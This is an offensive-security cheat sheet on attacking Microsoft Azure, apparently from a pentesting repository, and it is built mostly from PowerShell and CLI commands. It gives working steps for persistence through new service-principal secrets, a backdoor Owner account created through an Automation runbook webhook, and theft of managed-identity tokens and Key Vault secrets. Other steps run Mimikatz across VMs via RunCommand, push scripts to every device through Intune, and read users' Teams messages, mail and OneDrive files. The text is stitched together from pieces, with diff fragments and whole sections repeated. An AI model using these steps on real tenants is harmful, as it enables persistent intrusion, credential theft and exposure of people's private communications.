Azure Services
Swissky
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# Azure Persistence
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## Add secrets to application
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## Add Secrets to Application
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* Add secrets with [lutzenfried/OffensiveCloud/Add-AzADAppSecret.ps1](https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Tools/Add-AzADAppSecret.ps1)
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```powershell
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@ -15,7 +15,24 @@
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PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
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```
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## Add Service Principal
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* Generate a new service principal password/secret
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```ps1
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Import-Module Microsoft.Graph.Applications
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Connect-MgGraph
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$servicePrincipalId = "<service-principal-id>"
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$params = @{
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passwordCredential = @{
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displayName = "NewCreds"
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}
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}
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Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params
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```
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## References
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* [Maintaining Azure Persistence via automation accounts - Karl Fosaaen - September 12, 2019](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/)
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* [Maintaining Azure Persistence via automation accounts - Karl Fosaaen - September 12, 2019](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/)
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* [Microsoft Graph - servicePrincipal: addPassword](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0&tabs=powershell)
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# Azure Services - Application Endpoint
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## Enumerate
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* Enumerate possible endpoints for applications starting/ending with PREFIX
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```powershell
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PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls}
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PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
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```
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## References
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* []()
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# Azure Services - Application Proxy
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## Enumerate
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* Enumerate applications that have Proxy
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```powershell
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PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
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PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
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PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
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PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
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```
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## References
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* []()
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# Azure Services - Deployment Template
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* List the deployments
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```powershell
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PS Az> Get-AzResourceGroup
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PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
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```
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* Export the deployment template
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```ps1
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PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
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# search for hardcoded password
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cat <DEPLOYMENT NAME>.json
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cat <PATH TO .json FILE> | Select-String password
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```
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## References
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* []()
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@ -70,7 +70,7 @@ You can access an organization's Azure DevOps Services instance via https://dev.
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$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'
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```
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* Enumerate porject permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
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* Enumerate project permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
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## Privilege Escalation
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# Azure Services - KeyVault
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## Access Token
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* Keyvault access token
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```powershell
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curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
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curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
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```
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* Connect with the access token
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```ps1
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PS> $token = 'eyJ0..'
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PS> $keyvaulttoken = 'eyJ0..'
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PS> $accid = '2e...bc'
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PS Az> Connect-AzAccount -AccessToken $token -AccountId $accid -KeyVaultAccessToken $keyvaulttoken
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```
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## Query Secrets
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* Query the vault and the secrets
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```ps1
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PS Az> Get-AzKeyVault
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PS Az> Get-AzKeyVaultSecret -VaultName <VaultName>
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PS Az> Get-AzKeyVaultSecret -VaultName <VaultName> -Name Reader -AsPlainText
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```
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* Extract secrets from Automations, AppServices and KeyVaults
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```powershell
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Import-Module Microburst.psm1
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PS Microburst> Get-AzurePasswords
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PS Microburst> Get-AzurePasswords -Verbose | Out-GridView
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```
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## References
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* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/)
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# Azure Services - Microsoft Intune
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## LAPS
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```ps1
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#requires -modules Microsoft.Graph.Authentication
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#requires -modules Microsoft.Graph.Intune
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#requires -modules LAPS
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#requires -modules ImportExcel
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$DaysBack = 30
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Connect-MgGraph
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Get-IntuneManagedDevice -Filter "Platform eq 'Windows'" |
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Foreach-Object {Get-LapsAADPassword -DevicesIds $_.DisplayName} |
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Where-Object {$_.PasswordExpirationTime -lt (Get-Date).AddDays(-$DaysBack)} |
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Export-Excel -Path "c:\temp\lapsdata.xlsx" - ClearSheet -AutoSize -Show
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```
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## Intunes Administration
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Requirements:
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* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
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1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
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2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
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3. Go to **Scripts** and click on **Add** for Windows 10.
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4. Add a **Powershell script**
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5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
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:warning: It will take up to one hour before you script is executed !
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## References
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* [Microsoft Intune - Microsoft Intune support for Windows LAPS](https://learn.microsoft.com/en-us/mem/intune/protect/windows-laps-overview)
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# Azure Services - Office 365
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## Microsoft Teams Messages
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```ps1
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TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
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AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
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```
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## Outlook Mails
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* Read user mails
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```ps1
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Get-MgUserMessage -UserId <user-id> | ft
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Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>
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```
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## OneDrive Files
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```ps1
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$userId = "<user-id>"
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Import-Module Microsoft.Graph.Files
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Get-MgUserDefaultDrive -UserId $userId
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Get-MgUserDrive -UserId $UserId -Debug
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Get-MgDrive -top 1
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```
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## References
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* [Pentesting Azure Mindmap - Alexis Danizan](https://github.com/synacktiv/Mindmaps)
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# Azure Services - Runbook
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Runbook must be **SAVED** and **PUBLISHED** before running it.
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## Create a Runbook
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* Check user right for automation
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```powershell
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az extension add --upgrade -n automation
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az automation account list # if it doesn't return anything the user is not a part of an Automation group
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az ad signed-in-user list-owned-objects
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```
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* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose`
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* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
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* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>`
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* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose`
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* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
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* Start the Runbook: `Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
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## Persistence via Automation accounts
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* Create a new Automation Account
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* "Create Azure Run As account": Yes
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* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
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* Sample runbook https://github.com/NetSPI/MicroBurst
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* Publish the runbook
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* Add a webhook to the runbook
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* Add the AzureAD module to the Automation account
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* Update the Azure Automation Modules
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* Assign "User Administrator" and "Subscription Owner" rights to the automation account
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* Trigger the webhook with a post request to create the new user
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```powershell
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$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
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$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
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$body = ConvertTo-Json -InputObject $AccountInfo
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$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
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```
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## References
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* []()
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# Azure Services - Storage Blob
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* Blobs - `*.blob.core.windows.net`
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* File Services - `*.file.core.windows.net`
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* Data Tables - `*.table.core.windows.net`
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* Queues - `*.queue.core.windows.net`
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## Enumerate blobs
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```powershell
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PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
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PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
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Found Storage Account - redacted.blob.core.windows.net
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```
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## List and download blobs
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```powershell
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PS Az> Get-AzResource
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PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
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PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
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PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
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```
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## SAS URL
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* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
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* Click on **Open Connect Dialog** in the left menu.
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* Select **Blob container**.
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* On the **Select Authentication Method** page
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* Select **Shared access signature (SAS)** and click on Next
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* Copy the URL in **Blob container SAS URL** field.
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:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files.
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## References
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* []()
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# Azure Services - Virtual Machine
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## RunCommand
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> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as `NT Authority\System`
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**Requirements**: `Microsoft.Compute/virtualMachines/runCommand/action`
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* List available Virtual Machines
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```powershell
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PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
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ResourceGroupName Name
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----------------- ----
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TESTRESOURCES Remote-Test
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```
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* Get Public IP of VM by querying the network interface
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```powershell
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PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
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PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
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PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>
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```
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* Execute Powershell script on the VM, like `adduser`
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```ps1
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PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
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PS Azure C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
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```
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* Finally you should be able to connect via WinRM
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```ps1
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$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
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$creds = New-Object System.Management.Automation.PSCredential('username', $Password)
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$sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
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Enter-PSSession $sess
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```
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Against the whole subscription using `MicroBurst.ps1`
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```powershell
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Import-module MicroBurst.psm1
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Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
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```
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## References
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* [Running Powershell scripts on Azure VM - Karl Fosaaen - November 6, 2018](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
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# Azure Services - Web Apps
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## SSH Connection
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```powershell
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az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>
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```
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## References
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* []()
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# Azure Services
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## Virtual Machine
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### RunCommand
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> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as `NT Authority\System`
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**Requirements**: `Microsoft.Compute/virtualMachines/runCommand/action`
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* List available Virtual Machines
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```powershell
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PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
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ResourceGroupName Name
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----------------- ----
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TESTRESOURCES Remote-Test
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```
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* Get Public IP of VM by querying the network interface
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```powershell
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PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
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PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
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PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>
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```
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* Execute Powershell script on the VM, like `adduser`
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```ps1
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PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
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PS Azure C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
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```
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* Finally you should be able to connect via WinRM
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```ps1
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$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
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$creds = New-Object System.Management.Automation.PSCredential('username', $Password)
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$sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
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Enter-PSSession $sess
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```
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Against the whole subscription using `MicroBurst.ps1`
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```powershell
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Import-module MicroBurst.psm1
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Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
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```
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## Runbook
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Runbook must be **SAVED** and **PUBLISHED** before running it.
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### Create a Runbook
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* Check user right for automation
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```powershell
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az extension add --upgrade -n automation
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az automation account list # if it doesn't return anything the user is not a part of an Automation group
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az ad signed-in-user list-owned-objects
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```
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* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose`
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* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
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* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>`
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* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose`
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* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
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* Start the Runbook: `Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
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### Persistence via Automation accounts
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* Create a new Automation Account
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* "Create Azure Run As account": Yes
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* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
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* Sample runbook https://github.com/NetSPI/MicroBurst
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* Publish the runbook
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* Add a webhook to the runbook
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* Add the AzureAD module to the Automation account
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* Update the Azure Automation Modules
|
||||
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
|
||||
* Trigger the webhook with a post request to create the new user
|
||||
|
||||
```powershell
|
||||
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
|
||||
|
||||
## Service Principal
|
||||
|
||||
* Generate a new service principal password/secret
|
||||
```ps1
|
||||
Import-Module Microsoft.Graph.Applications
|
||||
Connect-MgGraph
|
||||
$servicePrincipalId = "<service-principal-id>"
|
||||
|
||||
$params = @{
|
||||
passwordCredential = @{
|
||||
displayName = "NewCreds"
|
||||
}
|
||||
}
|
||||
Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params
|
||||
```
|
||||
|
||||
|
||||
## KeyVault
|
||||
|
||||
* Keyvault access token
|
||||
```powershell
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
```
|
||||
|
||||
* Connect with the access token
|
||||
```ps1
|
||||
PS> $token = 'eyJ0..'
|
||||
PS> $keyvaulttoken = 'eyJ0..'
|
||||
PS> $accid = '2e...bc'
|
||||
PS Az> Connect-AzAccount -AccessToken $token -AccountId $accid -KeyVaultAccessToken $keyvaulttoken
|
||||
```
|
||||
|
||||
* Query the vault and the secrets
|
||||
```ps1
|
||||
PS Az> Get-AzKeyVault
|
||||
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName>
|
||||
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName> -Name Reader -AsPlainText
|
||||
```
|
||||
|
||||
* Extract secrets from Automations, AppServices and KeyVaults
|
||||
```powershell
|
||||
Import-Module Microburst.psm1
|
||||
PS Microburst> Get-AzurePasswords
|
||||
PS Microburst> Get-AzurePasswords -Verbose | Out-GridView
|
||||
```
|
||||
|
||||
|
||||
## Storage Blob
|
||||
|
||||
* Blobs - `*.blob.core.windows.net`
|
||||
* File Services - `*.file.core.windows.net`
|
||||
* Data Tables - `*.table.core.windows.net`
|
||||
* Queues - `*.queue.core.windows.net`
|
||||
|
||||
### Enumerate blobs
|
||||
|
||||
```powershell
|
||||
PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
|
||||
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
|
||||
Found Storage Account - redacted.blob.core.windows.net
|
||||
```
|
||||
|
||||
### List and download blobs
|
||||
|
||||
```powershell
|
||||
PS Az> Get-AzResource
|
||||
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
|
||||
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
|
||||
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
|
||||
```
|
||||
|
||||
### SAS URL
|
||||
|
||||
* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
|
||||
* Click on **Open Connect Dialog** in the left menu.
|
||||
* Select **Blob container**.
|
||||
* On the **Select Authentication Method** page
|
||||
* Select **Shared access signature (SAS)** and click on Next
|
||||
* Copy the URL in **Blob container SAS URL** field.
|
||||
|
||||
:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files.
|
||||
|
||||
|
||||
## Web Apps
|
||||
|
||||
### SSH Connection
|
||||
|
||||
```powershell
|
||||
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>
|
||||
```
|
||||
|
||||
## Application Endpoint
|
||||
|
||||
* Enumerate possible endpoints for applications starting/ending with PREFIX
|
||||
```powershell
|
||||
PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls}
|
||||
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
|
||||
```
|
||||
|
||||
|
||||
## Application Proxy
|
||||
|
||||
* Enumerate applications that have Proxy
|
||||
```powershell
|
||||
PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
|
||||
|
||||
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
|
||||
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
|
||||
```
|
||||
|
||||
|
||||
## Deployment Template
|
||||
|
||||
* List the deployments
|
||||
```powershell
|
||||
PS Az> Get-AzResourceGroup
|
||||
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
|
||||
```
|
||||
* Export the deployment template
|
||||
```ps1
|
||||
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
|
||||
|
||||
# search for hardcoded password
|
||||
cat <DEPLOYMENT NAME>.json
|
||||
cat <PATH TO .json FILE> | Select-String password
|
||||
```
|
||||
|
||||
|
||||
## Microsoft Intune
|
||||
|
||||
* LAPS
|
||||
```ps1
|
||||
#requires -modules Microsoft.Graph.Authentication
|
||||
#requires -modules Microsoft.Graph.Intune
|
||||
#requires -modules LAPS
|
||||
#requires -modules ImportExcel
|
||||
|
||||
$DaysBack = 30
|
||||
Connect-MgGraph
|
||||
Get-IntuneManagedDevice -Filter "Platform eq 'Windows'" |
|
||||
Foreach-Object {Get-LapsAADPassword -DevicesIds $_.DisplayName} |
|
||||
Where-Object {$_.PasswordExpirationTime -lt (Get-Date).AddDays(-$DaysBack)} |
|
||||
Export-Excel -Path "c:\temp\lapsdata.xlsx" - ClearSheet -AutoSize -Show
|
||||
```
|
||||
|
||||
|
||||
### Intunes Administration
|
||||
|
||||
Requirements:
|
||||
* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
|
||||
|
||||
1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
|
||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||
4. Add a **Powershell script**
|
||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||
|
||||
:warning: It will take up to one hour before you script is executed !
|
||||
|
||||
|
||||
|
||||
|
||||
## Office 365
|
||||
|
||||
### Microsoft Teams Messages
|
||||
|
||||
```ps1
|
||||
TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
|
||||
AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
|
||||
```
|
||||
|
||||
|
||||
### Outlook Mails
|
||||
|
||||
* Read user mails
|
||||
```ps1
|
||||
Get-MgUserMessage -UserId <user-id> | ft
|
||||
Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>
|
||||
```
|
||||
|
||||
### OneDrive Files
|
||||
|
||||
```ps1
|
||||
$userId = "<user-id>"
|
||||
Import-Module Microsoft.Graph.Files
|
||||
Get-MgUserDefaultDrive -UserId $userId
|
||||
Get-MgUserDrive -UserId $UserId -Debug
|
||||
Get-MgDrive -top 1
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Microsoft Graph - servicePrincipal: addPassword](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0&tabs=powershell)
|
||||
* [Microsoft Intune - Microsoft Intune support for Windows LAPS](https://learn.microsoft.com/en-us/mem/intune/protect/windows-laps-overview)
|
||||
* [Pentesting Azure Mindmap - Alexis Danizan](https://github.com/synacktiv/Mindmaps)
|
||||
* [Running Powershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
|
||||
* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/)
|
||||
Loading…
Reference in New Issue